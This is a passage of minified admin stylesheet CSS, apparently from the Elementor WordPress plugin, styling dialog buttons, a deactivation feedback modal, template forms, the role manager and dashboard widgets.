.dialog-button.e-btn-txt.dialog-submit:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-submit.dialog-skip:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-cancel:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-primary.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.dialog-skip:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-btn-txt.dialog-submit:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-submit:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-submit.dialog-skip:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-cancel:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-primary.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.dialog-skip:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-btn-txt.dialog-submit:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-submit:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-submit.dialog-skip:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-cancel:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-primary.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.dialog-skip:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-btn-txt.dialog-submit:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-submit:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-submit.dialog-skip:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-cancel:focus { background: var(--e-a-bg-primary); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.go-pro, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-accent, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.go-pro, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-accent { background-color: var(--e-a-btn-bg-accent); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.go-pro:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.go-pro:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-accent:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-accent:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.go-pro:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.go-pro:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-accent:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-accent:focus { background-color: var(--e-a-btn-bg-accent-hover); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.go-pro:active, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-accent:active, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.go-pro:active, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-accent:active { background-color: var(--e-a-btn-bg-accent-active); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-info, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-info, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-info, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-info { background-color: var(--e-a-btn-bg-info); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-info:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-info:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-info:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-info:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-info:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-info:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-info:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-info:focus { background-color: var(--e-a-btn-bg-info-hover); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-warning, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-warning, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-warning, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-warning { background-color: var(--e-a-btn-bg-warning); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-warning:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-warning:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-warning:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-warning:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-warning:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-warning:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-warning:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-warning:focus { background-color: var(--e-a-btn-bg-warning-hover); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-danger, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-danger, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-danger, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-danger { background-color: var(--e-a-btn-bg-danger); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-danger:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-danger:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-danger:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-danger:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-danger:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-danger:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-danger:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-danger:focus { background-color: var(--e-a-btn-bg-danger-hover); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button i, .dialog-type-alert .dialog-buttons-wrapper .dialog-button i { margin-inline-end: 5px; } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:visited, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:visited { color: initial; } @keyframes elementor-rotation { 0% { transform: rotate(0deg); } 100% { transform: rotate(359deg); } } #elementor-deactivate-feedback-dialog-wrapper { display: none; } #elementor-deactivate-feedback-modal { color: var(--e-a-color-txt); } #elementor-deactivate-feedback-modal .dialog-widget-content { width: 550px; } #elementor-deactivate-feedback-modal .dialog-header { padding: 18px 15px; box-shadow: 0 0 8px rgba(0, 0, 0, 0.1); text-align: start; } #elementor-deactivate-feedback-modal .dialog-message { padding: 30px; padding-block-end: 0; text-align: start; } #elementor-deactivate-feedback-modal .elementor-deactivate-feedback-dialog-input { margin-block: 0; margin-inline: 0 15px; box-shadow: none; } #elementor-deactivate-feedback-modal .elementor-deactivate-feedback-dialog-input:not(:checked) ~ .elementor-feedback-text { display: none; } #elementor-deactivate-feedback-modal .elementor-deactivate-feedback-dialog-label { display: block; font-size: 13px; } #elementor-deactivate-feedback-modal .elementor-feedback-text { background-color: transparent; color: var(--e-a-color-txt); margin-block: 10px 0; margin-inline: 30px 0; padding: 5px; box-shadow: none; width: 92%; } #elementor-deactivate-feedback-modal .dialog-buttons-wrapper { display: flex; justify-content: space-between; padding: 20px 30px 30px; } #elementor-deactivate-feedback-modal .dialog-submit.elementor-loading:before { display: inline-block; content: "\f463"; font: 18px dashicons; animation: elementor-rotation 2s infinite linear; } #elementor-deactivate-feedback-modal[data-feedback-selected=elementor_pro] .elementor-feedback-text { color: #F59E0B; padding: 0; } #elementor-deactivate-feedback-modal[data-feedback-selected=elementor_pro] .dialog-submit { display: none; } #elementor-deactivate-feedback-dialog-header i { font-size: 19px; } #elementor-deactivate-feedback-dialog-header-title { font-size: 15px; text-transform: uppercase; font-weight: bold; padding-inline-start: 5px; } #elementor-deactivate-feedback-dialog-form-caption { font-weight: bold; font-size: 15px; line-height: 1.4; } #elementor-deactivate-feedback-dialog-form-body { padding-block-start: 30px; padding-block-end: 15px; } .elementor-deactivate-feedback-dialog-input-wrapper { display: flex; align-items: center; line-height: 2; overflow: hidden; } #elementor-hidden-area { display: none; } #elementor-import-template-trigger { cursor: pointer; } #elementor-import-template-area { display: none; margin: 50px 0 30px; text-align: center; } #elementor-import-template-form { display: inline-block; margin-block-start: 30px; padding: 30px 50px; background-color: #FFFFFF; border: 1px solid #e5e5e5; } #elementor-import-template-title { font-size: 18px; color: #555d66; } .form-table:not(.elementor-maintenance-mode-is-enabled) .elementor-default-hide { display: none; } .elementor-maintenance-mode-error { color: red; line-height: 1.6; display: none; } #tab-replace_url.elementor-active ~ p.submit, #tab-fontawesome4_migration.elementor-active ~ p.submit, #tab-import-export-kit.elementor-active ~ p.submit { display: none; } #elementor_replace_url > div { max-width: 800px; } #elementor_replace_url > div input { margin-block-end: 6px; } #elementor_rollback > div, #elementor_rollback_pro > div { display: flex; } #elementor_rollback > div input, #elementor_rollback > div select, #elementor_rollback_pro > div input, #elementor_rollback_pro > div select { margin-inline-end: 6px; } .tab-import-export-kit__wrapper { margin: 40px 0; max-width: 700px; } .tab-import-export-kit__container { background-color: white; font-size: 16px; max-width: 700px; padding: 30px; } .tab-import-export-kit__container:not(:first-child) { margin-block-start: 5px; } .tab-import-export-kit__container p { font-size: 16px; margin: 20px 0 25px; } .tab-import-export-kit__info { font-size: 14px; } .tab-import-export-kit__container a:not(.elementor-button), .tab-import-export-kit__info a { color: var(--e-a-color-info); text-decoration: underline; } .tab-import-export-kit__box { display: flex; justify-content: space-between; align-items: flex-start; } .tab-import-export-kit__box h2 { font-size: 28px; font-weight: normal; line-height: 1; margin: 0; } .tab-import-export-kit__box .elementor-button.elementor-button-success { font-weight: bold; padding: 8px 16px; text-transform: initial; } .tab-import-export-kit__revert .tab-import-export-kit__kit-item { background-color: rgba(255, 255, 255, 0.5); box-shadow: 0 4px 10px rgba(0, 0, 0, 0.05); border-radius: 0.1875rem; margin-block-end: 15px; display: inline-block; } .tab-import-export-kit__revert .tab-import-export-kit__kit-item header { border-block-end: 1px solid #F1F2F3; padding: 0.625rem; } .tab-import-export-kit__revert .tab-import-export-kit__kit-item h3 { font-size: 0.875rem; margin: 0; } .tab-import-export-kit__revert .tab-import-export-kit__kit-item img { width: 330px; height: 315px; padding: 0.625rem; } .tab-import-export-kit__revert .button, .tab-import-export-kit__revert .button:hover { color: #a94442; border-color: #a94442; display: inline-block; } #dashboard-widgets .e-dashboard-widget h3.e-heading { font-weight: 600; margin-block-end: 13px; } #dashboard-widgets .e-dashboard-widget .e-divider_bottom { border-block-end: 1px solid #eee; margin: 0 -12px; padding: 6px 12px; } #dashboard-widgets .e-dashboard-widget .e-divider_top { border-block-start: 1px solid #eee; margin: 0 -12px; padding: 12px 12px 0; } #dashboard-widgets .e-dashboard-widget .e-quick-actions-wrap .e-divider_top, #dashboard-widgets .e-dashboard-widget .e-news-feed-wrap .e-divider_top { padding-block-start: 18px; margin-block-start: 18px; } .e-dashboard-widget .dashicons { color: #606a73; } .e-dashboard-widget ul.e-action-list li { margin-block-start: 14px; } .e-dashboard-widget ul.e-action-list li a { margin-inline-start: 5px; } .e-dashboard-overview .dashicons { vertical-align: middle; font-size: 17px; } .e-dashboard-overview .e-overview__header { display: table; width: 100%; box-shadow: 0 5px 8px rgba(0, 0, 0, 0.05); margin: 0 -12px 8px; padding: 0 12px 12px; } .e-dashboard-overview .e-overview__logo, .e-dashboard-overview .e-overview__versions, .e-dashboard-overview .e-overview__create { display: table-cell; vertical-align: middle; } .e-dashboard-overview .e-overview__logo { width: 30px; } .e-dashboard-overview .e-overview__versions { padding: 0 10px; font-size: 0.9em; line-height: 1.5; } .e-dashboard-overview .e-overview__version { display: block; } .e-dashboard-overview .e-overview__create { text-align: end; } .e-dashboard-overview .e-overview__feed { font-size: 14px; font-weight: 500; } .e-dashboard-overview .e-overview__post { margin-block-start: 10px; } .e-dashboard-overview .e-overview__post-link { display: inline-block; } .e-dashboard-overview .e-overview__badge { background: #0A875A; color: white; font-size: 0.75em; padding: 3px 6px; border-radius: 3px; text-transform: uppercase; } .e-dashboard-overview .e-overview__post-description { margin: 0 0 1.5em; } .e-dashboard-overview .e-overview__recently-edited li { color: #72777c; } .e-dashboard-overview .e-overview__footer.e-divider_top { padding-block-start: 12px; padding-block-end: 0; } .e-dashboard-overview .e-overview__footer ul { display: flex; list-style: none; margin: 0; padding: 0; } .e-dashboard-overview .e-overview__footer ul li { padding: 0 10px; margin: 0; border-inline-start: 1px solid #ddd; } .e-dashboard-overview .e-overview__footer ul li:first-child { padding-inline-start: 0; border: none; } .e-dashboard-overview .e-overview__go-pro a, .e-dashboard-overview .e-overview__ai a { color: #93003f; font-weight: 500; } .post-type-elementor_library #elementor-template-library-tabs-wrapper { padding-block-start: 2em; margin-block-end: 2em; } .post-type-elementor_library th#taxonomy-elementor_library_category { width: 110px; } #elementor-new-template-modal .dialog-message, #elementor-new-floating-elements-modal .dialog-message { max-height: 70vh; } #elementor-new-template-modal .e-hidden, #elementor-new-floating-elements-modal .e-hidden { display: none !important; } #elementor-new-template-dialog-content, #elementor-new-floating-elements-dialog-content { display: flex; align-items: center; height: 100%; text-align: start; } @media (max-width: 1439px) { #elementor-new-template-dialog-content, #elementor-new-floating-elements-dialog-content { padding: 0 50px; } } @media (min-width: 1440px) { #elementor-new-template-dialog-content, #elementor-new-floating-elements-dialog-content { padding: 0 120px; } } #elementor-new-template__description, #elementor-new-floating-elements__description { width: 35%; max-width: 300px; padding-inline-end: 100px; } #elementor-new-template__description__title, #elementor-new-floating-elements__description__title { font-size: 30px; } #elementor-new-template__description__title span, #elementor-new-floating-elements__description__title span { font-weight: bold; } #elementor-new-template__description__content, #elementor-new-floating-elements__description__content { font-size: 16px; padding: 30px 0; } #elementor-new-template__take_a_tour, #elementor-new-floating-elements__take_a_tour { display: flex; align-items: center; font-size: 15px; } #elementor-new-template__take_a_tour i, #elementor-new-floating-elements__take_a_tour i { color: var(--e-a-color-accent); font-size: 30px; } #elementor-new-template__take_a_tour a, #elementor-new-floating-elements__take_a_tour a { padding-inline-start: 10px; font-weight: 500; } #elementor-new-template__form, #elementor-new-floating-elements__form { flex-grow: 1; max-width: 440px; padding: 55px; background-color: var(--e-a-color-white); border-radius: var(--e-a-border-radius); border: var(--e-a-border); } #elementor-new-template__form__title, #elementor-new-floating-elements__form__title { font-size: 23px; } #elementor-new-template__form__template-type.elementor-form-field__select, #elementor-new-floating-elements__form__template-type.elementor-form-field__select { max-width: initial; } #elementor-new-template__form__template-type-badge, #elementor-new-floating-elements__form__template-type-badge { position: absolute; display: flex; align-items: center; justify-content: center; gap: 2px; border-radius: 2px; background-color: #F1F2F3; padding: 4px; font-size: 8px; font-weight: 500; line-height: 1; text-transform: uppercase; inset-block-start: 50%; inset-inline-end: 28px; transform: translateY(-50%); } #elementor-new-template__form .elementor-form-field__label, #elementor-new-floating-elements__form .elementor-form-field__label { display: block; margin: 25px 0 7px; font-size: 14px; line-height: 1; } #elementor-new-template__form .elementor-form-field input, #elementor-new-template__form .elementor-form-field select, #elementor-new-floating-elements__form .elementor-form-field input, #elementor-new-floating-elements__form .elementor-form-field select { width: 100%; height: 50px; padding: 10px; font-size: 14px; box-shadow: none; border-radius: var(--e-a-border-radius); background: none; border: var(--e-a-border-bold); outline: none; } #elementor-new-template__form .elementor-form-field input:focus, #elementor-new-template__form .elementor-form-field select:focus, #elementor-new-floating-elements__form .elementor-form-field input:focus, #elementor-new-floating-elements__form .elementor-form-field select:focus { border-color: var(--e-a-border-color-focus); } #elementor-new-template__form .elementor-form-field__select, #elementor-new-floating-elements__form .elementor-form-field__select { -webkit-appearance: none; -moz-appearance: none; appearance: none; cursor: pointer; } #elementor-new-template__form .elementor-form-field__select__wrapper, #elementor-new-floating-elements__form .elementor-form-field__select__wrapper { position: relative; } #elementor-new-template__form .elementor-form-field__select__wrapper:after, #elementor-new-floating-elements__form .elementor-form-field__select__wrapper:after { font-family: eicons; content: "\e8ad"; position: absolute; inset-block-start: 50%; inset-inline-end: 10px; transform: translateY(-50%); } #elementor-new-template__form__submit, #elementor-new-template__form__lock_button, #elementor-new-floating-elements__form__submit, #elementor-new-floating-elements__form__lock_button { display: block; width: 100%; height: 50px; margin-block-start: 24px; box-sizing: border-box; text-align: center; } @media (max-width: 1024px) { #elementor-new-template__description { max-width: 250px; padding-inline-end: 30px; } } @media (max-width: 767px) { #elementor-new-template__description { display: none; } } #elementor-role-manager { max-width: 500px; margin-block-start: 50px; } #elementor-role-manager h3 { color: #3f444b; font-weight: normal; font-size: 22px; } #elementor-role-manager .elementor-settings-form-page { padding: 0; } #elementor-role-manager .elementor-role-row { background: #ffffff; color: #3f444b; margin-block-end: 2px; } #elementor-role-manager .elementor-role-row .elementor-role-label { display: flex; padding: 15px 20px; font-weight: 500; cursor: pointer; } #elementor-role-manager .elementor-role-row .elementor-role-label span.elementor-role-name { padding-inline-end: 20px; } #elementor-role-manager .elementor-role-row .elementor-role-label span.elementor-role-toggle { text-align: end; flex-grow: 1; } #elementor-role-manager .elementor-role-row .elementor-role-label span.elementor-role-excluded-indicator { color: #9DA5AE; } #elementor-role-manager .elementor-role-row .elementor-role-controls { background-color: #F9FAFA; padding: 20px 20px 5px; } #elementor-role-manager .elementor-role-row .elementor-role-controls > div { margin-block-end: 15px; } #elementor-role-manager .elementor-role-row .elementor-role-controls .elementor-role-go-pro { display: flex; align-items: center; } #elementor-role-manager .elementor-role-row .elementor-role-controls .elementor-role-go-pro .elementor-role-go-pro__desc { font-weight: 500; font-style: italic; flex-grow: 1; } #elementor-role-manager .elementor-role-row .elementor-role-controls .elementor-role-go-pro .elementor-role-go-pro__link { display: flex; } #elementor-role-manager .elementor-role-row .elementor-role-controls-advanced > div + div { margin-block-start: 15px; } #elementor-role-manager .elementor-role-control-warning { color: var(--e-a-color-danger); } #elementor-beta-tester-modal { color: var(--e-a-color-txt); } #elementor-beta-tester-modal .elementor-templates-modal__header__items-area { color: var(--e-a-color-txt); cursor: pointer; } #elementor-beta-tester-modal .elementor-templates-modal__header__items-area:hover .elementor-beta-tester-do-not-show-again, #elementor-beta-tester-modal .elementor-templates-modal__header__items-area:hover .elementor-templates-modal__header__item > i { color: var(--e-a-color-txt-hover); } #elementor-beta-tester-modal .elementor-templates-modal__header__items-area .elementor-templates-modal__header__close { border: none; } #elementor-beta-tester-modal .elementor-templates-modal__header__items-area .elementor-beta-tester-do-not-show-again { text-transform: uppercase; font-weight: bold; font-size: 12px; transition: var(--e-a-transition-hover); } #elementor-beta-tester-modal .dialog-lightbox-widget-content { max-width: 500px; height: initial; } #elementor-beta-tester-modal .dialog-lightbox-message { padding: 40px; height: 300px; background-color: var(--e-a-bg-default); } #elementor-beta-tester-form__caption { font-weight: bold; font-size: 20px; } #elementor-beta-tester-form__description { font-size: 15px; margin-block-start: 10px; } #elementor-beta-tester-form__input-wrapper { display: flex; margin-block-start: 30px; } #elementor-beta-tester-form__input-wrapper .elementor-button { border-start-start-radius: 0; border-start-end-radius: 3px; border-end-start-radius: 0; border-end-end-radius: 3px; } #elementor-beta-tester-form__email { flex-grow: 1; border: var(--e-a-border); border-inline-end: 0; border-start-start-radius: 3px; border-start-end-radius: 0; border-end-start-radius: 3px; border-end-end-radius: 0; margin: 0; padding: 10px; height: 50px; } #elementor-beta-tester-form__terms { margin-block-start: 40px; font-size: 11px; color: var(--e-a-color-txt-muted); } .e-experiment__title { display: flex; align-items: flex-start; flex-direction: column; } .e-experiment__title__indicator { position: absolute; height: 10px; width: 10px; border-radius: 50%; border: 2px solid white; box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1); flex-shrink: 0; margin-block-start: 2px; } .e-experiment__title__indicator--active { background: #39b54a; } .e-experiment__title__label { margin-inline-start: 24px; } .e-experiment__title__tag { background: #0085ba; color: #ffffff; font-size: 0.8em; padding: 3px 6px; line-height: 1; border-radius: 3px; font-weight: 600; margin-block-start: 5px; margin-inline-start: 24px; } .e-experiment__title__tag__secondary { background: rgba(0, 0, 0, 0.1); color: inherit; } .e-experiment__table-title { margin: 30px 0; } .e-experiment__dependency, .e-experiment__status { margin-block-start: 4px; font-size: 0.9em; line-height: 18px; font-weight: bold; font-style: italic; } .e-experiment__button.button { margin-block: 18px 22px; margin-inline: 0 14px; } .e-experiment__dependency { color: #21759b; } .e-experiment__dependency__title { font-weight: inherit; } .e-landing-pages-empty .elementor-blank_state { padding: 5em 0 2em 0; } .e-landing-pages-empty .e-trashed-items { text-align: center; } .e-feature-promotion { --e-a-top-bar-height: 50px; --e-a-content-area-spacing: 110px; --e-black: #000000; width: 1220px; height: calc(100vh - var(--e-a-top-bar-height) - var(--e-a-content-area-spacing)); display: grid; grid-template-columns: repeat(2, auto); grid-template-rows: auto; justify-content: space-between; align-items: center; align-content: center; margin: auto; transform: translate(-10px, 40px); text-align: center; font-family: var(--e-a-font-family); } .e-feature-promotion_data { grid-column: 1/2; grid-row: 1/2; display: flex; flex-direction: column; justify-content: center; align-items: self-start; margin-inline-start: 15px; padding-inline-end: 40px; max-width: 608px; } .e-feature-promotion_data h3 { margin: 0; margin-block-end: 33px; text-align: start; font-size: 1.85rem; font-weight: 300; color: var(--e-black); line-height: 1.2; } .e-feature-promotion_data ul { margin-block-start: 0; margin-block-end: 1.6rem; text-align: start; } .e-feature-promotion_data ul > li { margin-block-start: 0; margin-inline-end: 9px; margin-block-end: 8px; margin-inline-start: 8px; display: flex; font-size: 1rem; line-height: 21px; color: var(--e-black); } .e-feature-promotion_data ul > li:before { content: url("data:image/svg+xml,%3Csvg width='25' height='24' viewBox='0 0 25 24' fill='none' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath fill-rule='evenodd' clip-rule='evenodd' d='M21.5201 6.46967C21.813 6.76256 21.813 7.23744 21.5201 7.53033L11.5201 17.5303C11.2272 17.8232 10.7523 17.8232 10.4594 17.5303L5.45942 12.5303C5.16652 12.2374 5.16652 11.7626 5.45942 11.4697C5.75231 11.1768 6.22718 11.1768 6.52008 11.4697L10.9897 15.9393L20.4594 6.46967C20.7523 6.17678 21.2272 6.17678 21.5201 6.46967Z' fill='%230C0D0E'/%3E%3C/svg%3E%0A"); font-size: 1.4rem; margin-block-start: -3px; margin-inline-end: 9px; margin-block-end: 0; margin-inline-start: -9px; } .e-feature-promotion_data > .go-pro { display: flex; align-items: center; padding: 9px 15px; font-size: 0.9rem; } .e-feature-promotion_data > .side-note { justify-self: baseline; margin-block-start: 2rem; text-align: start; } .e-feature-promotion_iframe { grid-column: 2/3; grid-row: 1/2; aspect-ratio: 16/9; width: 608px; border: none; } body.rtl .e-feature-promotion { transform: translateX(10px); } @media (max-width: 1410px) { .e-feature-promotion { display: flex; flex-direction: column; justify-content: flex-start; width: 90%; } .e-feature-promotion_data { margin-block-end: 2rem; margin-inline-start: unset; padding-inline-end: unset; } .e-feature-promotion_iframe { max-width: 90%; aspect-ratio: 16/9; } } .elementor-control-notice { display: flex; justify-content: flex-start; align-items: flex-start; gap: 8px; padding: 16px; border-radius: 3px; border: 1px solid var(--notice-control-color, var(--e-a-color-txt)); color: var(--e-a-color-txt); font-size: 12px; font-weight: 400; line-height: 1.5; text-align: start; margin-block-start: 10px; } .elementor-control-notice-type-info { --notice-control-color: var(--e-a-color-info); } .elementor-control-notice-type-success { --notice-control-color: var(--e-a-color-success); } .elementor-control-notice-type-warning { --notice-control-color: var(--e-a-color-warning); } .elementor-control-notice-type-danger { 